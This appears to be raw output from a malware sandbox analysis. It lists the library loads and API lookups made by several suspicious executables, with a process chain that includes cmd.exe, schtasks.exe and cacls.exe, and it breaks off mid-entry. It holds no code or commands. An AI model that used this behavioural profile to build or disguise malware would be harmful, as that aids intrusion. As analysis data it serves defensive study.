"explothe.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003888) "explothe.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003888) "6BL1kL7.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter %TEMP%\IXP000.TMP\6BL1kL7.exe (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter Kernel32.DLL (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00003560) "6BL1kL7.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003560) "cmd.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\ieframe.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\Internet Explorer\ieproxy.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter iertutil.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003868) "cmd.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003868) "schtasks.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002808) "schtasks.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002808) "schtasks.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002808) "cacls.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003112)41:T157c7,"58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00001380) "58cbf150847528fa62ad3502e5016f444b6a6409d3202d94702dfbf4fcb761d9.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001380) "gF3mD54.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00001884) "gF3mD54.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00001884) "gF3mD54.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00001884) "gF3mD54.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00001884) "gF3mD54.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00001884) "gF3mD54.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00001884) "oi9NR71.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00004376) "oi9NR71.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00004376) "ZF2zr63.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003660) "ZF2zr63.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003660) "ZF2zr63.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003660) "ZF2zr63.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003660) "ZF2zr63.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00003660) "ZF2zr63.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003660) "Cb7yP98.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003620) "Cb7yP98.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003620) "Cb7yP98.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003620) "Cb7yP98.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003620) "Cb7yP98.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00003620) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CLRCreateInstance (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LoadLibrary (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LoadLibraryA (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FindResourceA (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetUserObjectInformation (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetUserObjectInformationA (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetActiveWindow (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoRegisterMessageFilter (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EnumThreadWindows (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetFocus (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter MessageBox (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter MessageBoxW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GdiRealizationInfo (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter FontIsLinked (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetTextFaceAliasW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetFontAssocStatus (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoRevokeInitializeSpy (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter GdiIsMetaPrintDC (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SendMessage (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter SendMessageW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LookupAccountSidW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter I_RpcInitImports (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter I_RpcVerifierCorruptionExpected (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter I_RpcExtInitializeExtensionPoint (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00002836) "1Nd23RF4.exe" called "GetProcAddress" with a parameter 